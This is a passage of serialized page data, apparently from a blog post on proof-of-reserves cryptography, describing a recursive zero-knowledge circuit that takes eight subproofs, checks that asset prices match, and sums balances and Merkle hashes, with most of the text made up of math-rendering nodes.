generated:",{"type":19,"tag":20,"props":92622,"children":92623},{},[92624],{"type":19,"tag":1344,"props":92625,"children":92627},{"alt":48061,"src":92626},"/posts/por/batch-circuit-inputs.png",[],{"type":19,"tag":7050,"props":92629,"children":92631},{"id":92630},"recursive-circuit",[92632],{"type":24,"value":92633},"Recursive Circuit",{"type":19,"tag":20,"props":92635,"children":92636},{},[92637],{"type":24,"value":92638},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":19,"tag":20,"props":92640,"children":92641},{},[92642],{"type":19,"tag":51,"props":92643,"children":92644},{},[92645],{"type":24,"value":90907},{"type":19,"tag":43,"props":92647,"children":92648},{},[92649,92653,92658],{"type":19,"tag":47,"props":92650,"children":92651},{},[92652],{"type":24,"value":90925},{"type":19,"tag":47,"props":92654,"children":92655},{},[92656],{"type":24,"value":92657},"Asset prices",{"type":19,"tag":47,"props":92659,"children":92660},{},[92661],{"type":24,"value":90920},{"type":19,"tag":20,"props":92663,"children":92664},{},[92665],{"type":19,"tag":51,"props":92666,"children":92667},{},[92668],{"type":24,"value":90933},{"type":19,"tag":43,"props":92670,"children":92671},{},[92672],{"type":19,"tag":47,"props":92673,"children":92674},{},[92675],{"type":24,"value":92676},"8 subproofs",{"type":19,"tag":20,"props":92678,"children":92679},{},[92680],{"type":19,"tag":51,"props":92681,"children":92682},{},[92683],{"type":24,"value":90954},{"type":19,"tag":43,"props":92685,"children":92686},{},[92687,93097,93428,93795,94182],{"type":19,"tag":47,"props":92688,"children":92689},{},[92690,93092,93093],{"type":19,"tag":27,"props":92691,"children":92693},{"className":92692},[1411,1412],[92694],{"type":19,"tag":168,"props":92695,"children":92697},{"className":92696},[1417],[92698],{"type":19,"tag":168,"props":92699,"children":92701},{"className":92700,"ariaHidden":1423},[1422],[92702,92838],{"type":19,"tag":168,"props":92703,"children":92705},{"className":92704},[1428],[92706,92710,92715,92720,92725,92730,92735,92740,92745,92750,92755,92760,92765,92770,92775,92780,92785,92790,92795,92800,92805,92810,92815,92820,92825,92829,92834],{"type":19,"tag":168,"props":92707,"children":92709},{"className":92708,"style":90477},[1433],[],{"type":19,"tag":168,"props":92711,"children":92713},{"className":92712},[1439,19043],[92714],{"type":24,"value":19185},{"type":19,"tag":168,"props":92716,"children":92718},{"className":92717},[1439,19043],[92719],{"type":24,"value":90505},{"type":19,"tag":168,"props":92721,"children":92723},{"className":92722},[1439,19043],[92724],{"type":24,"value":19185},{"type":19,"tag":168,"props":92726,"children":92728},{"className":92727},[1439,19043],[92729],{"type":24,"value":269},{"type":19,"tag":168,"props":92731,"children":92733},{"className":92732,"style":90547},[1439,19043],[92734],{"type":24,"value":90550},{"type":19,"tag":168,"props":92736,"children":92738},{"className":92737,"style":90535},[1439],[92739],{"type":24,"value":476},{"type":19,"tag":168,"props":92741,"children":92743},{"className":92742},[1439,19043],[92744],{"type":24,"value":269},{"type":19,"tag":168,"props":92746,"children":92748},{"className":92747},[1439,19043],[92749],{"type":24,"value":90526},{"type":19,"tag":168,"props":92751,"children":92753},{"className":92752},[1439,19043],[92754],{"type":24,"value":19185},{"type":19,"tag":168,"props":92756,"children":92758},{"className":92757,"style":90535},[1439],[92759],{"type":24,"value":476},{"type":19,"tag":168,"props":92761,"children":92763},{"className":92762},[1439,19043],[92764],{"type":24,"value":90543},{"type":19,"tag":168,"props":92766,"children":92768},{"className":92767,"style":90547},[1439,19043],[92769],{"type":24,"value":90550},{"type":19,"tag":168,"props":92771,"children":92773},{"className":92772},[1439,19043],[92774],{"type":24,"value":90556},{"type":19,"tag":168,"props":92776,"children":92778},{"className":92777},[1439,19043],[92779],{"type":24,"value":90562},{"type":19,"tag":168,"props":92781,"children":92783},{"className":92782},[19172],[92784],{"type":24,"value":1152},{"type":19,"tag":168,"props":92786,"children":92788},{"className":92787},[1439,19043],[92789],{"type":24,"value":269},{"type":19,"tag":168,"props":92791,"children":92793},{"className":92792},[1439,19043],[92794],{"type":24,"value":90526},{"type":19,"tag":168,"props":92796,"children":92798},{"className":92797},[1439,19043],[92799],{"type":24,"value":19185},{"type":19,"tag":168,"props":92801,"children":92803},{"className":92802,"style":90535},[1439],[92804],{"type":24,"value":476},{"type":19,"tag":168,"props":92806,"children":92808},{"className":92807},[1439,19043],[92809],{"type":24,"value":53887},{"type":19,"tag":168,"props":92811,"children":92813},{"className":92812},[1439,19043],[92814],{"type":24,"value":90794},{"type":19,"tag":168,"props":92816,"children":92818},{"className":92817},[1439,19043],[92819],{"type":24,"value":48616},{"type":19,"tag":168,"props":92821,"children":92823},{"className":92822},[19194],[92824],{"type":24,"value":12858},{"type":19,"tag":168,"props":92826,"children":92828},{"className":92827,"style":1618},[1520],[],{"type":19,"tag":168,"props":92830,"children":92832},{"className":92831},[1623],[92833],{"type":24,"value":6013},{"type":19,"tag":168,"props":92835,"children":92837},{"className":92836,"style":1618},[1520],[],{"type":19,"tag":168,"props":92839,"children":92841},{"className":92840},[1428],[92842,92846,92851,92856,92861,92866,92871,92876,92882,92941,92946,92951,92956,92961,92966,92971,92976,92981,92987,92992,92997,93002,93007,93012,93017,93022,93027,93032,93037,93042,93047,93052,93057,93062,93067,93072,93077,93082,93087],{"type":19,"tag":168,"props":92843,"children":92845},{"className":92844,"style":90477},[1433],[],{"type":19,"tag":168,"props":92847,"children":92849},{"className":92848},[1439],[92850],{"type":24,"value":91125},{"type":19,"tag":168,"props":92852,"children":92854},{"className":92853},[1520],[92855],{"type":24,"value":19144},{"type":19,"tag":168,"props":92857,"children":92859},{"className":92858},[1439,19043],[92860],{"type":24,"value":8095},{"type":19,"tag":168,"props":92862,"children":92864},{"className":92863},[1439,19043],[92865],{"type":24,"value":90794},{"type":19,"tag":168,"props":92867,"children":92869},{"className":92868},[1439,19043],[92870],{"type":24,"value":621},{"type":19,"tag":168,"props":92872,"children":92874},{"className":92873},[1439,19043],[92875],{"type":24,"value":20},{"type":19,"tag":168,"props":92877,"children":92879},{"className":92878},[1439,19043],[92880],{"type":24,"value":92881},"roo",{"type":19,"tag":168,"props":92883,"children":92885},{"className":92884},[1439],[92886,92892],{"type":19,"tag":168,"props":92887,"children":92890},{"className":92888,"style":92889},[1439,19043],"margin-right:0.10764em;",[92891],{"type":24,"value":30558},{"type":19,"tag":168,"props":92893,"children":92895},{"className":92894},[1456],[92896],{"type":19,"tag":168,"props":92897,"children":92899},{"className":92898},[1461,19097],[92900,92930],{"type":19,"tag":168,"props":92901,"children":92903},{"className":92902},[1466],[92904,92925],{"type":19,"tag":168,"props":92905,"children":92907},{"className":92906,"style":91064},[1471],[92908],{"type":19,"tag":168,"props":92909,"children":92911},{"style":92910},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[92912,92916],{"type":19,"tag":168,"props":92913,"children":92915},{"className":92914,"style":1481},[1480],[],{"type":19,"tag":168,"props":92917,"children":92919},{"className":92918},[1486,1487,1488,1489],[92920],{"type":19,"tag":168,"props":92921,"children":92923},{"className":92922},[1439,19043,1489],[92924],{"type":24,"value":1157},{"type":19,"tag":168,"props":92926,"children":92928},{"className":92927},[19200],[92929],{"type":24,"value":19203},{"type":19,"tag":168,"props":92931,"children":92933},{"className":92932},[1466],[92934],{"type":19,"tag":168,"props":92935,"children":92937},{"className":92936,"style":90618},[1471],[92938],{"type":19,"tag":168,"props":92939,"children":92940},{},[],{"type":19,"tag":168,"props":92942,"children":92944},{"className":92943},[1439],[92945],{"type":24,"value":948},{"type":19,"tag":168,"props":92947,"children":92949},{"className":92948},[1439,19043],[92950],{"type":24,"value":20},{"type":19,"tag":168,"props":92952,"children":92954},{"className":92953},[1439,19043],[92955],{"type":24,"value":90794},{"type":19,"tag":168,"props":92957,"children":92959},{"className":92958},[1439,19043],[92960],{"type":24,"value":621},{"type":19,"tag":168,"props":92962,"children":92964},{"className":92963,"style":90547},[1439,19043],[92965],{"type":24,"value":90550},{"type":19,"tag":168,"props":92967,"children":92969},{"className":92968},[1439,19043],[92970],{"type":24,"value":1157},{"type":19,"tag":168,"props":92972,"children":92974},{"className":92973},[1439,19043],[92975],{"type":24,"value":543},{"type":19,"tag":168,"props":92977,"children":92979},{"className":92978,"style":90535},[1439],[92980],{"type":24,"value":476},{"type":19,"tag":168,"props":92982,"children":92984},{"className":92983},[1439,19043],[92985],{"type":24,"value":92986},"in",{"type":19,"tag":168,"props":92988,"children":92990},{"className":92989},[1439,19043],[92991],{"type":24,"value":20},{"type":19,"tag":168,"props":92993,"children":92995},{"className":92994},[1439,19043],[92996],{"type":24,"value":90794},{"type":19,"tag":168,"props":92998,"children":93000},{"className":92999},[1439,19043],[93001],{"type":24,"value":19185},{"type":19,"tag":168,"props":93003,"children":93005},{"className":93004},[1439],[93006],{"type":24,"value":948},{"type":19,"tag":168,"props":93008,"children":93010},{"className":93009},[1439,19043],[93011],{"type":24,"value":269},{"type":19,"tag":168,"props":93013,"children":93015},{"className":93014},[1439,19043],[93016],{"type":24,"value":90526},{"type":19,"tag":168,"props":93018,"children":93020},{"className":93019},[1439,19043],[93021],{"type":24,"value":19185},{"type":19,"tag":168,"props":93023,"children":93025},{"className":93024,"style":90535},[1439],[93026],{"type":24,"value":476},{"type":19,"tag":168,"props":93028,"children":93030},{"className":93029},[1439,19043],[93031],{"type":24,"value":90543},{"type":19,"tag":168,"props":93033,"children":93035},{"className":93034,"style":90547},[1439,19043],[93036],{"type":24,"value":90550},{"type":19,"tag":168,"props":93038,"children":93040},{"className":93039},[1439,19043],[93041],{"type":24,"value":90556},{"type":19,"tag":168,"props":93043,"children":93045},{"className":93044},[1439,19043],[93046],{"type":24,"value":91365},{"type":19,"tag":168,"props":93048,"children":93050},{"className":93049},[19172],[93051],{"type":24,"value":1152},{"type":19,"tag":168,"props":93053,"children":93055},{"className":93054},[1439,19043],[93056],{"type":24,"value":269},{"type":19,"tag":168,"props":93058,"children":93060},{"className":93059},[1439,19043],[93061],{"type":24,"value":90526},{"type":19,"tag":168,"props":93063,"children":93065},{"className":93064},[1439,19043],[93066],{"type":24,"value":19185},{"type":19,"tag":168,"props":93068,"children":93070},{"className":93069,"style":90535},[1439],[93071],{"type":24,"value":476},{"type":19,"tag":168,"props":93073,"children":93075},{"className":93074},[1439,19043],[93076],{"type":24,"value":53887},{"type":19,"tag":168,"props":93078,"children":93080},{"className":93079},[1439,19043],[93081],{"type":24,"value":90794},{"type":19,"tag":168,"props":93083,"children":93085},{"className":93084},[1439,19043],[93086],{"type":24,"value":48616},{"type":19,"tag":168,"props":93088,"children":93090},{"className":93089},[19194],[93091],{"type":24,"value":12858},{"type":24,"value":3893},{"type":19,"tag":51,"props":93094,"children":93095},{},[93096],{"type":24,"value":91925},{"type":19,"tag":47,"props":93098,"children":93099},{},[93100],{"type":19,"tag":27,"props":93101,"children":93103},{"className":93102},[1411,1412],[93104],{"type":19,"tag":168,"props":93105,"children":93107},{"className":93106},[1417],[93108],{"type":19,"tag":168,"props":93109,"children":93111},{"className":93110,"ariaHidden":1423},[1422],[93112,93218],{"type":19,"tag":168,"props":93113,"children":93115},{"className":93114},[1428],[93116,93120,93125,93130,93135,93140,93145,93150,93155,93160,93165,93170,93175,93180,93185,93190,93195,93200,93205,93209,93214],{"type":19,"tag":168,"props":93117,"children":93119},{"className":93118,"style":90477},[1433],[],{"type":19,"tag":168,"props":93121,"children":93123},{"className":93122},[1439,19043],[93124],{"type":24,"value":269},{"type":19,"tag":168,"props":93126,"children":93128},{"className":93127},[1439,19043],[93129],{"type":24,"value":90526},{"type":19,"tag":168,"props":93131,"children":93133},{"className":93132},[1439,19043],[93134],{"type":24,"value":19185},{"type":19,"tag":168,"props":93136,"children":93138},{"className":93137,"style":90535},[1439],[93139],{"type":24,"value":476},{"type":19,"tag":168,"props":93141,"children":93143},{"className":93142},[1439,19043],[93144],{"type":24,"value":20},{"type":19,"tag":168,"props":93146,"children":93148},{"className":93147,"style":90535},[1439,19043],[93149],{"type":24,"value":91354},{"type":19,"tag":168,"props":93151,"children":93153},{"className":93152},[1439,19043],[93154],{"type":24,"value":1157},{"type":19,"tag":168,"props":93156,"children":93158},{"className":93157},[1439,19043],[93159],{"type":24,"value":90562},{"type":19,"tag":168,"props":93161,"children":93163},{"className":93162},[19172],[93164],{"type":24,"value":1152},{"type":19,"tag":168,"props":93166,"children":93168},{"className":93167},[1439,19043],[93169],{"type":24,"value":269},{"type":19,"tag":168,"props":93171,"children":93173},{"className":93172},[1439,19043],[93174],{"type":24,"value":90526},{"type":19,"tag":168,"props":93176,"children":93178},{"className":93177},[1439,19043],[93179],{"type":24,"value":19185},{"type":19,"tag":168,"props":93181,"children":93183},{"className":93182,"style":90535},[1439],[93184],{"type":24,"value":476},{"type":19,"tag":168,"props":93186,"children":93188},{"className":93187},[1439,19043],[93189],{"type":24,"value":53887},{"type":19,"tag":168,"props":93191,"children":93193},{"className":93192},[1439,19043],[93194],{"type":24,"value":90794},{"type":19,"tag":168,"props":93196,"children":93198},{"className":93197},[1439,19043],[93199],{"type":24,"value":48616},{"type":19,"tag":168,"props":93201,"children":93203},{"className":93202},[19194],[93204],{"type":24,"value":12858},{"type":19,"tag":168,"props":93206,"children":93208},{"className":93207,"style":1618},[1520],[],{"type":19,"tag":168,"props":93210,"children":93212},{"className":93211},[1623],[93213],{"type":24,"value":6013},{"type":19,"tag":168,"props":93215,"children":93217},{"className":93216,"style":1618},[1520],[],{"type":19,"tag":168,"props":93219,"children":93221},{"className":93220},[1428],[93222,93226,93231,93236,93241,93246,93251,93308,93313,93318,93323,93328,93333,93338,93343,93348,93353,93358,93363,93368,93373,93378,93383,93388,93393,93398,93403,93408,93413,93418,93423],{"type":19,"tag":168,"props":93223,"children":93225},{"className":93224,"style":90477},[1433],[],{"type":19,"tag":168,"props":93227,"children":93229},{"className":93228},[1439,19043],[93230],{"type":24,"value":8095},{"type":19,"tag":168,"props":93232,"children":93234},{"className":93233},[1439,19043],[93235],{"type":24,"value":90794},{"type":19,"tag":168,"props":93237,"children":93239},{"className":93238},[1439,19043],[93240],{"type":24,"value":621},{"type":19,"tag":168,"props":93242,"children":93244},{"className":93243},[1439,19043],[93245],{"type":24,"value":20},{"type":19,"tag":168,"props":93247,"children":93249},{"className":93248},[1439,19043],[93250],{"type":24,"value":92881},{"type":19,"tag":168,"props":93252,"children":93254},{"className":93253},[1439],[93255,93260],{"type":19,"tag":168,"props":93256,"children":93258},{"className":93257,"style":92889},[1439,19043],[93259],{"type":24,"value":30558},{"type":19,"tag":168,"props":93261,"children":93263},{"className":93262},[1456],[93264],{"type":19,"tag":168,"props":93265,"children":93267},{"className":93266},[1461,19097],[93268,93297],{"type":19,"tag":168,"props":93269,"children":93271},{"className":93270},[1466],[93272,93292],{"type":19,"tag":168,"props":93273,"children":93275},{"className":93274,"style":91064},[1471],[93276],{"type":19,"tag":168,"props":93277,"children":93278},{"style":92910},[93279,93283],{"type":19,"tag":168,"props":93280,"children":93282},{"className":93281,"style":1481},[1480],[],{"type":19,"tag":168,"props":93284,"children":93286},{"className":93285},[1486,1487,1488,1489],[93287],{"type":19,"tag":168,"props":93288,"children":93290},{"className":93289},[1439,19043,1489],[93291],{"type":24,"value":1157},{"type":19,"tag":168,"props":93293,"children":93295},{"className":93294},[19200],[93296],{"type":24,"value":19203},{"type":19,"tag":168,"props":93298,"children":93300},{"className":93299},[1466],[93301],{"type":19,"tag":168,"props":93302,"children":93304},{"className":93303,"style":90618},[1471],[93305],{"type":19,"tag":168,"props":93306,"children":93307},{},[],{"type":19,"tag":168,"props":93309,"children":93311},{"className":93310},[1439],[93312],{"type":24,"value":948},{"type":19,"tag":168,"props":93314,"children":93316},{"className":93315},[1439,19043],[93317],{"type":24,"value":20},{"type":19,"tag":168,"props":93319,"children":93321},{"className":93320},[1439,19043],[93322],{"type":24,"value":90794},{"type":19,"tag":168,"props":93324,"children":93326},{"className":93325},[1439,19043],[93327],{"type":24,"value":621},{"type":19,"tag":168,"props":93329,"children":93331},{"className":93330,"style":90547},[1439,19043],[93332],{"type":24,"value":90550},{"type":19,"tag":168,"props":93334,"children":93336},{"className":93335},[1439,19043],[93337],{"type":24,"value":1157},{"type":19,"tag":168,"props":93339,"children":93341},{"className":93340},[1439,19043],[93342],{"type":24,"value":543},{"type":19,"tag":168,"props":93344,"children":93346},{"className":93345,"style":90535},[1439],[93347],{"type":24,"value":476},{"type":19,"tag":168,"props":93349,"children":93351},{"className":93350},[1439,19043],[93352],{"type":24,"value":92986},{"type":19,"tag":168,"props":93354,"children":93356},{"className":93355},[1439,19043],[93357],{"type":24,"value":20},{"type":19,"tag":168,"props":93359,"children":93361},{"className":93360},[1439,19043],[93362],{"type":24,"value":90794},{"type":19,"tag":168,"props":93364,"children":93366},{"className":93365},[1439,19043],[93367],{"type":24,"value":19185},{"type":19,"tag":168,"props":93369,"children":93371},{"className":93370},[1439],[93372],{"type":24,"value":948},{"type":19,"tag":168,"props":93374,"children":93376},{"className":93375},[1439,19043],[93377],{"type":24,"value":269},{"type":19,"tag":168,"props":93379,"children":93381},{"className":93380},[1439,19043],[93382],{"type":24,"value":90526},{"type":19,"tag":168,"props":93384,"children":93386},{"className":93385},[1439,19043],[93387],{"type":24,"value":19185},{"type":19,"tag":168,"props":93389,"children":93391},{"className":93390,"style":90535},[1439],[93392],{"type":24,"value":476},{"type":19,"tag":168,"props":93394,"children":93396},{"className":93395},[1439,19043],[93397],{"type":24,"value":20},{"type":19,"tag":168,"props":93399,"children":93401},{"className":93400,"style":90535},[1439,19043],[93402],{"type":24,"value":91354},{"type":19,"tag":168,"props":93404,"children":93406},{"className":93405},[1439,19043],[93407],{"type":24,"value":1157},{"type":19,"tag":168,"props":93409,"children":93411},{"className":93410},[1439,19043],[93412],{"type":24,"value":91365},{"type":19,"tag":168,"props":93414,"children":93416},{"className":93415},[19172],[93417],{"type":24,"value":1152},{"type":19,"tag":168,"props":93419,"children":93421},{"className":93420},[1439],[93422],{"type":24,"value":1452},{"type":19,"tag":168,"props":93424,"children":93426},{"className":93425},[19194],[93427],{"type":24,"value":12858},{"type":19,"tag":47,"props":93429,"children":93430},{},[93431,93789,93790],{"type":19,"tag":27,"props":93432,"children":93434},{"className":93433},[1411,1412],[93435],{"type":19,"tag":168,"props":93436,"children":93438},{"className":93437},[1417],[93439],{"type":19,"tag":168,"props":93440,"children":93442},{"className":93441,"ariaHidden":1423},[1422],[93443,93549],{"type":19,"tag":168,"props":93444,"children":93446},{"className":93445},[1428],[93447,93451,93456,93461,93466,93471,93476,93481,93486,93491,93496,93501,93506,93511,93516,93521,93526,93531,93536,93540,93545],{"type":19,"tag":168,"props":93448,"children":93450},{"className":93449,"style":90477},[1433],[],{"type":19,"tag":168,"props":93452,"children":93454},{"className":93453},[1439,19043],[93455],{"type":24,"value":269},{"type":19,"tag":168,"props":93457,"children":93459},{"className":93458},[1439,19043],[93460],{"type":24,"value":90526},{"type":19,"tag":168,"props":93462,"children":93464},{"className":93463},[1439,19043],[93465],{"type":24,"value":19185},{"type":19,"tag":168,"props":93467,"children":93469},{"className":93468,"style":90535},[1439],[93470],{"type":24,"value":476},{"type":19,"tag":168,"props":93472,"children":93474},{"className":93473},[1439,19043],[93475],{"type":24,"value":20},{"type":19,"tag":168,"props":93477,"children":93479},{"className":93478,"style":90535},[1439,19043],[93480],{"type":24,"value":91354},{"type":19,"tag":168,"props":93482,"children":93484},{"className":93483},[1439,19043],[93485],{"type":24,"value":1157},{"type":19,"tag":168,"props":93487,"children":93489},{"className":93488},[1439,19043],[93490],{"type":24,"value":90562},{"type":19,"tag":168,"props":93492,"children":93494},{"className":93493},[19172],[93495],{"type":24,"value":1152},{"type":19,"tag":168,"props":93497,"children":93499},{"className":93498},[1439,19043],[93500],{"type":24,"value":269},{"type":19,"tag":168,"props":93502,"children":93504},{"className":93503},[1439,19043],[93505],{"type":24,"value":90526},{"type":19,"tag":168,"props":93507,"children":93509},{"className":93508},[1439,19043],[93510],{"type":24,"value":19185},{"type":19,"tag":168,"props":93512,"children":93514},{"className":93513,"style":90535},[1439],[93515],{"type":24,"value":476},{"type":19,"tag":168,"props":93517,"children":93519},{"className":93518},[1439,19043],[93520],{"type":24,"value":53887},{"type":19,"tag":168,"props":93522,"children":93524},{"className":93523},[1439,19043],[93525],{"type":24,"value":90794},{"type":19,"tag":168,"props":93527,"children":93529},{"className":93528},[1439,19043],[93530],{"type":24,"value":48616},{"type":19,"tag":168,"props":93532,"children":93534},{"className":93533},[19194],[93535],{"type":24,"value":12858},{"type":19,"tag":168,"props":93537,"children":93539},{"className":93538,"style":1618},[1520],[],{"type":19,"tag":168,"props":93541,"children":93543},{"className":93542},[1623],[93544],{"type":24,"value":6013},{"type":19,"tag":168,"props":93546,"children":93548},{"className":93547,"style":1618},[1520],[],{"type":19,"tag":168,"props":93550,"children":93552},{"className":93551},[1428],[93553,93557,93562,93567,93572,93577,93582,93639,93644,93649,93654,93659,93664,93669,93674,93679,93684,93689,93694,93699,93704,93709,93714,93719,93724,93729,93734,93739,93744,93749,93754,93759,93764,93769,93774,93779,93784],{"type":19,"tag":168,"props":93554,"children":93556},{"className":93555,"style":90477},[1433],[],{"type":19,"tag":168,"props":93558,"children":93560},{"className":93559},[1439,19043],[93561],{"type":24,"value":8095},{"type":19,"tag":168,"props":93563,"children":93565},{"className":93564},[1439,19043],[93566],{"type":24,"value":90794},{"type":19,"tag":168,"props":93568,"children":93570},{"className":93569},[1439,19043],[93571],{"type":24,"value":621},{"type":19,"tag":168,"props":93573,"children":93575},{"className":93574},[1439,19043],[93576],{"type":24,"value":20},{"type":19,"tag":168,"props":93578,"children":93580},{"className":93579},[1439,19043],[93581],{"type":24,"value":92881},{"type":19,"tag":168,"props":93583,"children":93585},{"className":93584},[1439],[93586,93591],{"type":19,"tag":168,"props":93587,"children":93589},{"className":93588,"style":92889},[1439,19043],[93590],{"type":24,"value":30558},{"type":19,"tag":168,"props":93592,"children":93594},{"className":93593},[1456],[93595],{"type":19,"tag":168,"props":93596,"children":93598},{"className":93597},[1461,19097],[93599,93628],{"type":19,"tag":168,"props":93600,"children":93602},{"className":93601},[1466],[93603,93623],{"type":19,"tag":168,"props":93604,"children":93606},{"className":93605,"style":91064},[1471],[93607],{"type":19,"tag":168,"props":93608,"children":93609},{"style":92910},[93610,93614],{"type":19,"tag":168,"props":93611,"children":93613},{"className":93612,"style":1481},[1480],[],{"type":19,"tag":168,"props":93615,"children":93617},{"className":93616},[1486,1487,1488,1489],[93618],{"type":19,"tag":168,"props":93619,"children":93621},{"className":93620},[1439,19043,1489],[93622],{"type":24,"value":1157},{"type":19,"tag":168,"props":93624,"children":93626},{"className":93625},[19200],[93627],{"type":24,"value":19203},{"type":19,"tag":168,"props":93629,"children":93631},{"className":93630},[1466],[93632],{"type":19,"tag":168,"props":93633,"children":93635},{"className":93634,"style":90618},[1471],[93636],{"type":19,"tag":168,"props":93637,"children":93638},{},[],{"type":19,"tag":168,"props":93640,"children":93642},{"className":93641},[1439],[93643],{"type":24,"value":948},{"type":19,"tag":168,"props":93645,"children":93647},{"className":93646},[1439,19043],[93648],{"type":24,"value":20},{"type":19,"tag":168,"props":93650,"children":93652},{"className":93651},[1439,19043],[93653],{"type":24,"value":90794},{"type":19,"tag":168,"props":93655,"children":93657},{"className":93656},[1439,19043],[93658],{"type":24,"value":621},{"type":19,"tag":168,"props":93660,"children":93662},{"className":93661,"style":90547},[1439,19043],[93663],{"type":24,"value":90550},{"type":19,"tag":168,"props":93665,"children":93667},{"className":93666},[1439,19043],[93668],{"type":24,"value":1157},{"type":19,"tag":168,"props":93670,"children":93672},{"className":93671},[1439,19043],[93673],{"type":24,"value":543},{"type":19,"tag":168,"props":93675,"children":93677},{"className":93676,"style":90535},[1439],[93678],{"type":24,"value":476},{"type":19,"tag":168,"props":93680,"children":93682},{"className":93681},[1439,19043],[93683],{"type":24,"value":92986},{"type":19,"tag":168,"props":93685,"children":93687},{"className":93686},[1439,19043],[93688],{"type":24,"value":20},{"type":19,"tag":168,"props":93690,"children":93692},{"className":93691},[1439,19043],[93693],{"type":24,"value":90794},{"type":19,"tag":168,"props":93695,"children":93697},{"className":93696},[1439,19043],[93698],{"type":24,"value":19185},{"type":19,"tag":168,"props":93700,"children":93702},{"className":93701},[1439],[93703],{"type":24,"value":948},{"type":19,"tag":168,"props":93705,"children":93707},{"className":93706},[1439,19043],[93708],{"type":24,"value":269},{"type":19,"tag":168,"props":93710,"children":93712},{"className":93711},[1439,19043],[93713],{"type":24,"value":90526},{"type":19,"tag":168,"props":93715,"children":93717},{"className":93716},[1439,19043],[93718],{"type":24,"value":19185},{"type":19,"tag":168,"props":93720,"children":93722},{"className":93721,"style":90535},[1439],[93723],{"type":24,"value":476},{"type":19,"tag":168,"props":93725,"children":93727},{"className":93726},[1439,19043],[93728],{"type":24,"value":20},{"type":19,"tag":168,"props":93730,"children":93732},{"className":93731,"style":90535},[1439,19043],[93733],{"type":24,"value":91354},{"type":19,"tag":168,"props":93735,"children":93737},{"className":93736},[1439,19043],[93738],{"type":24,"value":1157},{"type":19,"tag":168,"props":93740,"children":93742},{"className":93741},[1439,19043],[93743],{"type":24,"value":91365},{"type":19,"tag":168,"props":93745,"children":93747},{"className":93746},[19172],[93748],{"type":24,"value":1152},{"type":19,"tag":168,"props":93750,"children":93752},{"className":93751},[1439,19043],[93753],{"type":24,"value":269},{"type":19,"tag":168,"props":93755,"children":93757},{"className":93756},[1439,19043],[93758],{"type":24,"value":90526},{"type":19,"tag":168,"props":93760,"children":93762},{"className":93761},[1439,19043],[93763],{"type":24,"value":19185},{"type":19,"tag":168,"props":93765,"children":93767},{"className":93766,"style":90535},[1439],[93768],{"type":24,"value":476},{"type":19,"tag":168,"props":93770,"children":93772},{"className":93771},[1439,19043],[93773],{"type":24,"value":53887},{"type":19,"tag":168,"props":93775,"children":93777},{"className":93776},[1439,19043],[93778],{"type":24,"value":90794},{"type":19,"tag":168,"props":93780,"children":93782},{"className":93781},[1439,19043],[93783],{"type":24,"value":48616},{"type":19,"tag":168,"props":93785,"children":93787},{"className":93786},[19194],[93788],{"type":24,"value":12858},{"type":24,"value":3893},{"type":19,"tag":51,"props":93791,"children":93792},{},[93793],{"type":24,"value":93794},"(verifies if all asset prices are the same)",{"type":19,"tag":47,"props":93796,"children":93797},{},[93798,94177,94178],{"type":19,"tag":27,"props":93799,"children":93801},{"className":93800},[1411,1412],[93802],{"type":19,"tag":168,"props":93803,"children":93805},{"className":93804},[1417],[93806],{"type":19,"tag":168,"props":93807,"children":93809},{"className":93808,"ariaHidden":1423},[1422],[93810,93891],{"type":19,"tag":168,"props":93811,"children":93813},{"className":93812},[1428],[93814,93818,93823,93828,93833,93838,93843,93848,93853,93858,93863,93868,93873,93878,93882,93887],{"type":19,"tag":168,"props":93815,"children":93817},{"className":93816,"style":91948},[1433],[],{"type":19,"tag":168,"props":93819,"children":93821},{"className":93820},[1439,19043],[93822],{"type":24,"value":48616},{"type":19,"tag":168,"props":93824,"children":93826},{"className":93825,"style":90535},[1439,19043],[93827],{"type":24,"value":91960},{"type":19,"tag":168,"props":93829,"children":93831},{"className":93830,"style":91964},[1439,19043],[93832],{"type":24,"value":86173},{"type":19,"tag":168,"props":93834,"children":93836},{"className":93835,"style":90547},[1439,19043],[93837],{"type":24,"value":90550},{"type":19,"tag":168,"props":93839,"children":93841},{"className":93840},[1439,19043],[93842],{"type":24,"value":48937},{"type":19,"tag":168,"props":93844,"children":93846},{"className":93845,"style":90535},[1439],[93847],{"type":24,"value":476},{"type":19,"tag":168,"props":93849,"children":93851},{"className":93850},[1439,19043],[93852],{"type":24,"value":19185},{"type":19,"tag":168,"props":93854,"children":93856},{"className":93855},[1439,19043],[93857],{"type":24,"value":91992},{"type":19,"tag":168,"props":93859,"children":93861},{"className":93860,"style":90535},[1439],[93862],{"type":24,"value":476},{"type":19,"tag":168,"props":93864,"children":93866},{"className":93865},[1439,19043],[93867],{"type":24,"value":92003},{"type":19,"tag":168,"props":93869,"children":93871},{"className":93870},[1439,19043],[93872],{"type":24,"value":8095},{"type":19,"tag":168,"props":93874,"children":93876},{"className":93875},[1439,19043],[93877],{"type":24,"value":81834},{"type":19,"tag":168,"props":93879,"children":93881},{"className":93880,"style":1618},[1520],[],{"type":19,"tag":168,"props":93883,"children":93885},{"className":93884},[1623],[93886],{"type":24,"value":6013},{"type":19,"tag":168,"props":93888,"children":93890},{"className":93889,"style":1618},[1520],[],{"type":19,"tag":168,"props":93892,"children":93894},{"className":93893},[1428],[93895,93899,93904,93909,93914,93919,93924,93929,93934,93939,93944,94001,94006,94010,94015,94020,94077,94082,94086,94091,94096,94100,94105,94110,94172],{"type":19,"tag":168,"props":93896,"children":93898},{"className":93897,"style":1541},[1433],[],{"type":19,"tag":168,"props":93900,"children":93902},{"className":93901,"style":19044},[1439,19043],[93903],{"type":24,"value":19047},{"type":19,"tag":168,"props":93905,"children":93907},{"className":93906},[1439,19043],[93908],{"type":24,"value":90489},{"type":19,"tag":168,"props":93910,"children":93912},{"className":93911},[1439,19043],[93913],{"type":24,"value":1157},{"type":19,"tag":168,"props":93915,"children":93917},{"className":93916},[1439,19043],[93918],{"type":24,"value":68051},{"type":19,"tag":168,"props":93920,"children":93922},{"className":93921},[1439,19043],[93923],{"type":24,"value":90505},{"type":19,"tag":168,"props":93925,"children":93927},{"className":93926},[1439,19043],[93928],{"type":24,"value":53887},{"type":19,"tag":168,"props":93930,"children":93932},{"className":93931},[19172],[93933],{"type":24,"value":500},{"type":19,"tag":168,"props":93935,"children":93937},{"className":93936},[1439,19043],[93938],{"type":24,"value":92003},{"type":19,"tag":168,"props":93940,"children":93942},{"className":93941},[1439,19043],[93943],{"type":24,"value":8095},{"type":19,"t